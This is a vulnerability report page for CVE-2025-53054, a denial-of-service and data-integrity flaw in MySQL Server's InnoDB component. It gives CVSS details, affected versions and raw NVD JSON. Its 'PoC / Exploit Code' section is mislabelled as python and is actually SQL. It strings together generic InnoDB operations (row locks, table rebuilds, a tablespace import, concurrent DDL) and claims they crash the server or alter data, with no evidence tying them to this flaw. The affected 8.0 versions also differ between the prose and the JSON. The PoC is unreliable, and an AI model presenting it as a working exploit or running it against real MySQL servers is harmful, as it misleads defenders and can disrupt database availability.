Security Vulnerability Report
中文
CVE-2025-53054 CVSS 5.5 MEDIUM

CVE-2025-53054

Published: 2025-10-21 20:20:44
Last Modified: 2025-10-23 16:06:00

Description

Vulnerability in the MySQL Server product of Oracle MySQL (component: InnoDB). Supported versions that are affected are 8.0.0-8.0.43, 8.4.0-8.4.6 and 9.0.0-9.4.0. Easily exploitable vulnerability allows high privileged attacker with network access via multiple protocols to compromise MySQL Server. Successful attacks of this vulnerability can result in unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of MySQL Server as well as unauthorized update, insert or delete access to some of MySQL Server accessible data. CVSS 3.1 Base Score 5.5 (Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:L/A:H).

CVSS Details

CVSS Score
5.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:L/A:H

Configurations (Affected Products)

cpe:2.3:a:oracle:mysql_server:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:oracle:mysql_server:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:oracle:mysql_server:*:*:*:*:*:*:*:* - VULNERABLE
Oracle MySQL Server 8.0.0 - 8.0.43
Oracle MySQL Server 8.4.0 - 8.4.6
Oracle MySQL Server 9.0.0 - 9.4.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
-- CVE-2025-53054 PoC for Oracle MySQL InnoDB DoS / Data Integrity -- Note: This vulnerability requires high-privileged access to MySQL Server -- Target: MySQL 8.0.0-8.0.43, 8.4.0-8.4.6, 9.0.0-9.4.0 -- Step 1: Connect with high-privileged account -- mysql -h target_host -u high_priv_user -p -- Step 2: Create test database and table using InnoDB engine CREATE DATABASE IF NOT EXISTS cve_test; USE cve_test; CREATE TABLE IF NOT EXISTS innodb_test_table ( id INT AUTO_INCREMENT PRIMARY KEY, data VARCHAR(255), index_data TEXT, FULLTEXT KEY ft_index (data) ) ENGINE=InnoDB; -- Step 3: Insert sample data INSERT INTO innodb_test_table (data, index_data) VALUES ('sample_data_1', REPEAT('A', 200)), ('sample_data_2', REPEAT('B', 200)); -- Step 4: Trigger the vulnerability via crafted InnoDB operations -- The following operations exploit the InnoDB internal state management flaw -- Trigger 1: Concurrent transaction manipulation causing InnoDB crash START TRANSACTION; SELECT data FROM innodb_test_table WHERE id = 1 FOR UPDATE; -- Trigger 2: Manipulate InnoDB internal structures via crafted operations ALTER TABLE innodb_test_table ENGINE=InnoDB ROW_FORMAT=DYNAMIC; -- Trigger 3: Exploit InnoDB tablespace operations ALTER TABLE innodb_test_table IMPORT TABLESPACE; -- Trigger 4: Force InnoDB recovery state inconsistency SET GLOBAL innodb_buffer_pool_dump_at_shutdown = OFF; FLUSH TABLES innodb_test_table WITH READ LOCK; UNLOCK TABLES; -- Trigger 5: Exploit via concurrent DDL operations on InnoDB tables -- Run in separate sessions to trigger race condition: -- Session A: ALTER TABLE innodb_test_table ADD COLUMN col_new INT; -- Session B: INSERT INTO innodb_test_table (data) VALUES ('exploit_payload'); -- The above operations can cause: -- 1. MySQL Server hang or crash (DoS) -- 2. Unauthorized data modification (integrity impact) -- Cleanup -- DROP DATABASE cve_test;

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-53054", "sourceIdentifier": "[email protected]", "published": "2025-10-21T20:20:43.587", "lastModified": "2025-10-23T16:06:00.133", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Vulnerability in the MySQL Server product of Oracle MySQL (component: InnoDB). Supported versions that are affected are 8.0.0-8.0.43, 8.4.0-8.4.6 and 9.0.0-9.4.0. Easily exploitable vulnerability allows high privileged attacker with network access via multiple protocols to compromise MySQL Server. Successful attacks of this vulnerability can result in unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of MySQL Server as well as unauthorized update, insert or delete access to some of MySQL Server accessible data. CVSS 3.1 Base Score 5.5 (Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:L/A:H)."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:L/A:H", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.2, "impactScore": 4.2}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-400"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:oracle:mysql_server:*:*:*:*:*:*:*:*", "versionStartIncluding": "8.0.0", "versionEndIncluding": "8.0.42", "matchCriteriaId": "BAE2C2CE-3140-43CF-8B23-3CF04143718A"}, {"vulnerable": true, "criteria": "cpe:2.3:a:oracle:mysql_server:*:*:*:*:*:*:*:*", "versionStartIncluding": "8.4.0", "versionEndIncluding": "8.4.6", "matchCriteriaId": "7C415C1E-D09A-43DD-A1FB-8B0B9517FE42"}, {"vulnerable": true, "criteria": "cpe:2.3:a:oracle:mysql_server:*:*:*:*:*:*:*:*", "versionStartIncluding": "9.0.0", "versionEndIncluding": "9.4.0", "matchCriteriaId": "5FAEE4AC-4A0D-42A4-BF83-33288DD15BE1"}]}]}], "references": [{"url": "https://www.oracle.com/security-alerts/cpuoct2025.html", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}